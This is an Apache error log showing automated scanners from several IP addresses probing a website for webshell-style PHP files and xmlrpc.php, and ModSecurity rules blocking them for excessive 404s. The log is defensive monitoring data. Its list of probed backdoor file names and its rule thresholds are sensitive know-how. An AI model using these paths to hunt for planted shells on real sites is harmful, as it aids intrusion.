[Mon Apr 13 00:43:55.717025 2026] [:error] [pid 60280:tid 60290] [client 20.251.15.206:56151] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cilus.php"] [unique_id "advLy3BlLnDOYuIykkhJmQAAAcg"]
[Mon Apr 13 00:43:57.291579 2026] [:error] [pid 26567:tid 26591] [client 20.251.15.206:5156] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cilus.php"] [unique_id "advLzXhRpg6ptWFyFx3rIQAAARY"]
[Mon Apr 13 00:44:06.472861 2026] [:error] [pid 31605:tid 31652] [client 20.251.15.206:51677] File does not exist: /usr/local/apache/htdocs/suspended-page/d.php
[Mon Apr 13 00:44:08.164130 2026] [:error] [pid 31605:tid 31643] [client 20.251.15.206:45731] File does not exist: /usr/local/apache/htdocs/suspended-page/error_log.php
[Mon Apr 13 00:44:08.425895 2026] [:error] [pid 31605:tid 31644] [client 20.251.15.206:45731] File does not exist: /usr/local/apache/htdocs/suspended-page/Ov-Simple1.php
[Mon Apr 13 00:44:09.308382 2026] [:error] [pid 31605:tid 31649] [client 20.251.15.206:45731] File does not exist: /usr/local/apache/htdocs/suspended-page/curl.php
[Mon Apr 13 00:44:09.573984 2026] [:error] [pid 31605:tid 31651] [client 20.251.15.206:45731] File does not exist: /usr/local/apache/htdocs/suspended-page/sallu.php
[Mon Apr 13 00:44:09.834464 2026] [:error] [pid 31605:tid 31643] [client 20.251.15.206:45731] File does not exist: /usr/local/apache/htdocs/suspended-page/f6.php
[Mon Apr 13 00:44:10.173544 2026] [:error] [pid 31605:tid 31644] [client 20.251.15.206:45731] File does not exist: /usr/local/apache/htdocs/suspended-page/edit.php
[Mon Apr 13 00:44:10.435811 2026] [:error] [pid 31605:tid 31657] [client 20.251.15.206:45731] File does not exist: /usr/local/apache/htdocs/suspended-page/aa.php
[Mon Apr 13 00:44:10.695778 2026] [:error] [pid 31605:tid 31651] [client 20.251.15.206:45731] File does not exist: /usr/local/apache/htdocs/suspended-page/goods_260325043000.php
[Mon Apr 13 00:44:11.482145 2026] [:error] [pid 31605:tid 31644] [client 20.251.15.206:45731] File does not exist: /usr/local/apache/htdocs/suspended-page/goods_260401065719.php
[Mon Apr 13 08:19:21.435801 2026] [:error] [pid 7228:tid 7249] [client 68.221.128.11:15496] File does not exist: /usr/local/apache/htdocs/suspended-page/ssh3ll.php
[Mon Apr 13 08:19:21.690693 2026] [:error] [pid 7228:tid 7254] [client 68.221.128.11:15496] File does not exist: /usr/local/apache/htdocs/suspended-page/kma.php
[Mon Apr 13 08:19:21.952680 2026] [:error] [pid 7228:tid 7238] [client 68.221.128.11:15496] File does not exist: /usr/local/apache/htdocs/suspended-page/mjq.php
[Mon Apr 13 08:19:22.191440 2026] [:error] [pid 7228:tid 7248] [client 68.221.128.11:15496] File does not exist: /usr/local/apache/htdocs/suspended-page/wpls.php
[Mon Apr 13 08:19:22.431227 2026] [:error] [pid 7228:tid 7249] [client 68.221.128.11:15496] File does not exist: /usr/local/apache/htdocs/suspended-page/i6z19N.php
[Mon Apr 13 08:19:22.672298 2026] [:error] [pid 7228:tid 7237] [client 68.221.128.11:15496] File does not exist: /usr/local/apache/htdocs/suspended-page/new4.php
[Mon Apr 13 13:25:56.569097 2026] [:error] [pid 63406:tid 63432] [client 49.36.70.107:51570] [client 49.36.70.107] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.36.70.107, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "adx-ZLHZEIkQ0Zmgp5qTjAAAANU"]
[Mon Apr 13 13:25:56.574142 2026] [:error] [pid 63406:tid 63432] [client 49.36.70.107:51570] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Mon Apr 13 13:26:11.620137 2026] [:error] [pid 63311:tid 63386] [client 180.195.46.16:41007] [client 180.195.46.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.195.46.16, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "adx-c6HjrGN1MqBCVFmQmQAAAI8"]
[Mon Apr 13 13:26:11.624615 2026] [:error] [pid 63311:tid 63386] [client 180.195.46.16:41007] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Mon Apr 13 14:22:34.626950 2026] [:error] [pid 7228:tid 7247] [client 4.210.65.73:24471] File does not exist: /usr/local/apache/htdocs/suspended-page/edit-tags.php
[Mon Apr 13 14:22:34.878335 2026] [:error] [pid 7228:tid 7230] [client 4.210.65.73:24471] File does not exist: /usr/local/apache/htdocs/suspended-page/mamzi.php
[Mon Apr 13 14:22:35.130158 2026] [:error] [pid 7228:tid 7237] [client 4.210.65.73:24471] File does not exist: /usr/local/apache/htdocs/suspended-page/lef.php
[Mon Apr 13 14:22:36.007913 2026] [:error] [pid 7228:tid 7238] [client 4.210.65.73:24471] File does not exist: /usr/local/apache/htdocs/suspended-page/new2.php
[Mon Apr 13 14:22:36.257844 2026] [:error] [pid 7228:tid 7247] [client 4.210.65.73:24471] File does not exist: /usr/local/apache/htdocs/suspended-page/fallbackapi.php
[Mon Apr 13 14:22:36.518857 2026] [:error] [pid 7228:tid 7251] [client 4.210.65.73:24471] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-0fsdhv.php
[Mon Apr 13 14:22:36.770957 2026] [:error] [pid 7228:tid 7246] [client 4.210.65.73:24471] File does not exist: /usr/local/apache/htdocs/suspended-page/rnenu.php
[Mon Apr 13 14:22:37.037718 2026] [:error] [pid 7228:tid 7232] [client 4.210.65.73:24471] File does not exist: /usr/local/apache/htdocs/suspended-page/congeree.php
[Mon Apr 13 14:22:37.306688 2026] [:error] [pid 7228:tid 7248] [client 4.210.65.73:24471] File does not exist: /usr/local/apache/htdocs/suspended-page/seo.php
[Mon Apr 13 14:22:37.556734 2026] [:error] [pid 7228:tid 7242] [client 4.210.65.73:24471] File does not exist: /usr/local/apache/htdocs/suspended-page/jatuh.php
[Mon Apr 13 14:22:37.832344 2026] [:error] [pid 7228:tid 7230] [client 4.210.65.73:24471] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/green.php"] [unique_id "adyLrQEnn1dQrOSHHNX--AAAAQA"]
[Mon Apr 13 14:22:40.623394 2026] [:error] [pid 7228:tid 7237] [client 4.210.65.73:29763] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/green.php"] [unique_id "adyLsAEnn1dQrOSHHNX_RAAAAQc"]
[Mon Apr 13 14:22:44.099328 2026] [:error] [pid 57183:tid 57196] [client 4.210.65.73:29784] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/green.php"] [unique_id "adyLtDDO3t8R5NaxzYRr2wAAAUs"]
[Mon Apr 13 14:22:45.993514 2026] [:error] [pid 63406:tid 63426] [client 4.210.65.73:20644] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/green.php"] [unique_id "adyLtbHZEIkQ0Zmgp5qrXwAAAM8"]
[Mon Apr 13 14:22:49.557903 2026] [:error] [pid 57183:tid 57197] [client 4.210.65.73:1321] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/multirole.php"] [unique_id "adyLuTDO3t8R5NaxzYRr4gAAAUw"]
[Mon Apr 13 14:22:52.689266 2026] [:error] [pid 63311:tid 63387] [client 4.210.65.73:1286] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/multirole.php"] [unique_id "adyLvKHjrGN1MqBCVFmidQAAAJA"]
[Mon Apr 13 14:22:54.970225 2026] [:error] [pid 57183:tid 57205] [client 4.210.65.73:45381] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/multirole.php"] [unique_id "adyLvjDO3t8R5NaxzYRr6wAAAVQ"]
[Mon Apr 13 14:22:56.210730 2026] [:error] [pid 63406:tid 63435] [client 4.210.65.73:33553] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/multirole.php"] [unique_id "adyLwLHZEIkQ0Zmgp5qrdAAAANg"]
[Mon Apr 13 14:22:57.471991 2026] [:error] [pid 63406:tid 63431] [client 4.210.65.73:33581] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/RIP.php"] [unique_id "adyLwbHZEIkQ0Zmgp5qreAAAANQ"]
[Mon Apr 13 14:23:00.334366 2026] [:error] [pid 57183:tid 57191] [client 4.210.65.73:37587] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/RIP.php"] [unique_id "adyLxDDO3t8R5NaxzYRr_AAAAUY"]
[Mon Apr 13 14:23:02.450661 2026] [:error] [pid 7228:tid 7232] [client 4.210.65.73:29815] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/RIP.php"] [unique_id "adyLxgEnn1dQrOSHHNX_mQAAAQI"]
[Mon Apr 13 14:23:03.789800 2026] [:error] [pid 63311:tid 63393] [client 4.210.65.73:20310] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/RIP.php"] [unique_id "adyLx6HjrGN1MqBCVFmiegAAAJY"]
[Mon Apr 13 14:23:06.582850 2026] [:error] [pid 63406:tid 63430] [client 4.210.65.73:31334] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-act.php"] [unique_id "adyLyrHZEIkQ0Zmgp5qriQAAANM"]
[Mon Apr 13 14:23:08.505033 2026] [:error] [pid 57183:tid 57187] [client 4.210.65.73:28258] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-act.php"] [unique_id "adyLzDDO3t8R5NaxzYRsDAAAAUI"]
[Mon Apr 13 14:23:09.349932 2026] [:error] [pid 7228:tid 7238] [client 4.210.65.73:24817] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-act.php"] [unique_id "adyLzQEnn1dQrOSHHNX_qwAAAQg"]
[Mon Apr 13 14:23:10.657552 2026] [:error] [pid 7228:tid 7246] [client 4.210.65.73:24465] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-act.php"] [unique_id "adyLzgEnn1dQrOSHHNX_sAAAARA"]
[Mon Apr 13 14:23:12.073761 2026] [:error] [pid 57183:tid 57194] [client 4.210.65.73:24147] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cobaini.php"] [unique_id "adyL0DDO3t8R5NaxzYRsFQAAAUk"]
[Mon Apr 13 14:23:15.216725 2026] [:error] [pid 57183:tid 57196] [client 4.210.65.73:37573] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cobaini.php"] [unique_id "adyL0zDO3t8R5NaxzYRsKAAAAUs"]
[Mon Apr 13 14:23:16.592420 2026] [:error] [pid 7228:tid 7231] [client 4.210.65.73:24818] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cobaini.php"] [unique_id "adyL1AEnn1dQrOSHHNX_0wAAAQE"]
[Mon Apr 13 14:23:18.263491 2026] [:error] [pid 57183:tid 57189] [client 4.210.65.73:34879] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cobaini.php"] [unique_id "adyL1jDO3t8R5NaxzYRsNAAAAUQ"]
[Mon Apr 13 14:23:19.012005 2026] [:error] [pid 57183:tid 57204] [client 4.210.65.73:27322] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mmp.php"] [unique_id "adyL1zDO3t8R5NaxzYRsPQAAAVM"]
[Mon Apr 13 14:23:19.925628 2026] [:error] [pid 7228:tid 7247] [client 4.210.65.73:27325] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mmp.php"] [unique_id "adyL1wEnn1dQrOSHHNX_7gAAARE"]
[Mon Apr 13 14:23:20.916711 2026] [:error] [pid 57183:tid 57192] [client 4.210.65.73:20552] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mmp.php"] [unique_id "adyL2DDO3t8R5NaxzYRsQgAAAUc"]
[Mon Apr 13 14:23:22.626510 2026] [:error] [pid 63309:tid 63324] [client 4.210.65.73:20328] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mmp.php"] [unique_id "adyL2kpIKZ10weXpf0XmfwAAAAs"]
[Mon Apr 13 14:23:23.522271 2026] [:error] [pid 57183:tid 57185] [client 4.210.65.73:33105] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sf.php"] [unique_id "adyL2zDO3t8R5NaxzYRsSwAAAUA"]
[Mon Apr 13 14:23:24.414610 2026] [:error] [pid 7228:tid 7232] [client 4.210.65.73:20342] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sf.php"] [unique_id "adyL3AEnn1dQrOSHHNUAAwAAAQI"]
[Mon Apr 13 14:23:25.756982 2026] [:error] [pid 7228:tid 7236] [client 4.210.65.73:27276] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sf.php"] [unique_id "adyL3QEnn1dQrOSHHNUADQAAAQY"]
[Mon Apr 13 14:23:26.906286 2026] [:error] [pid 7228:tid 7233] [client 4.210.65.73:20570] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sf.php"] [unique_id "adyL3gEnn1dQrOSHHNUAFQAAAQM"]
[Mon Apr 13 14:23:27.938117 2026] [:error] [pid 57183:tid 57185] [client 4.210.65.73:31325] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xozx.php"] [unique_id "adyL3zDO3t8R5NaxzYRsWAAAAUA"]
[Mon Apr 13 14:23:28.786127 2026] [:error] [pid 63406:tid 63421] [client 4.210.65.73:1289] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xozx.php"] [unique_id "adyL4LHZEIkQ0Zmgp5qrwAAAAMo"]
[Mon Apr 13 14:23:29.990076 2026] [:error] [pid 57183:tid 57196] [client 4.210.65.73:1308] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xozx.php"] [unique_id "adyL4TDO3t8R5NaxzYRsYAAAAUs"]
[Mon Apr 13 14:23:31.064131 2026] [:error] [pid 57183:tid 57191] [client 4.210.65.73:14596] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xozx.php"] [unique_id "adyL4zDO3t8R5NaxzYRsYwAAAUY"]
[Mon Apr 13 14:23:32.091342 2026] [:error] [pid 7228:tid 7238] [client 4.210.65.73:21477] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/clque.php"] [unique_id "adyL5AEnn1dQrOSHHNUAKgAAAQg"]
[Mon Apr 13 14:23:40.256461 2026] [:error] [pid 7228:tid 7243] [client 4.210.65.73:29791] File does not exist: /usr/local/apache/htdocs/suspended-page/clque.php
[Mon Apr 13 14:23:47.234527 2026] [:error] [pid 57183:tid 57196] [client 4.210.65.73:24255] File does not exist: /usr/local/apache/htdocs/suspended-page/albrt.php
[Mon Apr 13 14:23:47.550494 2026] [:error] [pid 57183:tid 57204] [client 4.210.65.73:24255] File does not exist: /usr/local/apache/htdocs/suspended-page/ahaoi.php
[Mon Apr 13 14:23:48.910849 2026] [:error] [pid 57183:tid 57204] [client 4.210.65.73:24255] File does not exist: /usr/local/apache/htdocs/suspended-page/bogles.php
[Mon Apr 13 14:23:49.204512 2026] [:error] [pid 57183:tid 57203] [client 4.210.65.73:24255] File does not exist: /usr/local/apache/htdocs/suspended-page/xxx.php
[Mon Apr 13 14:23:49.470448 2026] [:error] [pid 57183:tid 57206] [client 4.210.65.73:24255] File does not exist: /usr/local/apache/htdocs/suspended-page/s.php
[Mon Apr 13 14:23:49.777894 2026] [:error] [pid 57183:tid 57208] [client 4.210.65.73:24255] File does not exist: /usr/local/apache/htdocs/suspended-page/unloathness.php
[Mon Apr 13 14:23:50.047328 2026] [:error] [pid 57183:tid 57188] [client 4.210.65.73:24255] File does not exist: /usr/local/apache/htdocs/suspended-page/doo.php
[Mon Apr 13 14:23:50.322138 2026] [:error] [pid 57183:tid 57197] [client 4.210.65.73:24255] File does not exist: /usr/local/apache/htdocs/suspended-page/x123.php
[Mon Apr 13 14:23:50.604060 2026] [:error] [pid 57183:tid 57193] [client 4.210.65.73:24255] File does not exist: /usr/local/apache/htdocs/suspended-page/h2.php
[Mon Apr 13 14:23:50.871414 2026] [:error] [pid 57183:tid 57196] [client 4.210.65.73:24255] File does not exist: /usr/local/apache/htdocs/suspended-page/greateb.php
[Mon Apr 13 14:23:51.143875 2026] [:error] [pid 57183:tid 57205] [client 4.210.65.73:24255] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-class.php"] [unique_id "adyL9zDO3t8R5NaxzYRsogAAAVQ"]
[Mon Apr 13 14:24:20.770884 2026] [:error] [pid 7228:tid 7254] [client 4.210.65.73:25860] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mjq.php/kma.php"] [unique_id "adyMFAEnn1dQrOSHHNUBkwAAARg"]
[Mon Apr 13 14:24:32.359417 2026] [:error] [pid 63311:tid 63379] [client 4.210.65.73:21853] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bjeni.php"] [unique_id "adyMIKHjrGN1MqBCVFmi8QAAAIg"]
[Mon Apr 13 14:24:44.718587 2026] [:error] [pid 63310:tid 63361] [client 4.210.65.73:32597] [client 4.210.65.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bjeni.php"] [unique_id "adyMLHoXpRU5ztmwPjINuQAAAFE"]
[Mon Apr 13 14:25:53.227145 2026] [:error] [pid 63406:tid 63412] [client 4.210.65.73:33948] File does not exist: /usr/local/apache/htdocs/suspended-page/tymi.php
[Mon Apr 13 14:25:53.480809 2026] [:error] [pid 63406:tid 63413] [client 4.210.65.73:33948] File does not exist: /usr/local/apache/htdocs/suspended-page/rrr.php
[Mon Apr 13 14:25:53.773855 2026] [:error] [pid 63406:tid 63423] [client 4.210.65.73:33948] File does not exist: /usr/local/apache/htdocs/suspended-page/jp.php
[Mon Apr 13 14:25:54.046084 2026] [:error] [pid 63406:tid 63420] [client 4.210.65.73:33948] File does not exist: /usr/local/apache/htdocs/suspended-page/gdn.php
[Mon Apr 13 14:25:54.313839 2026] [:error] [pid 63406:tid 63431] [client 4.210.65.73:33948] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-wlx.php
[Mon Apr 13 14:25:54.568037 2026] [:error] [pid 63406:tid 63433] [client 4.210.65.73:33948] File does not exist: /usr/local/apache/htdocs/suspended-page/zvz89.php
[Mon Apr 13 14:25:54.819144 2026] [:error] [pid 63406:tid 63421] [client 4.210.65.73:33948] File does not exist: /usr/local/apache/htdocs/suspended-page/i6z19N.php
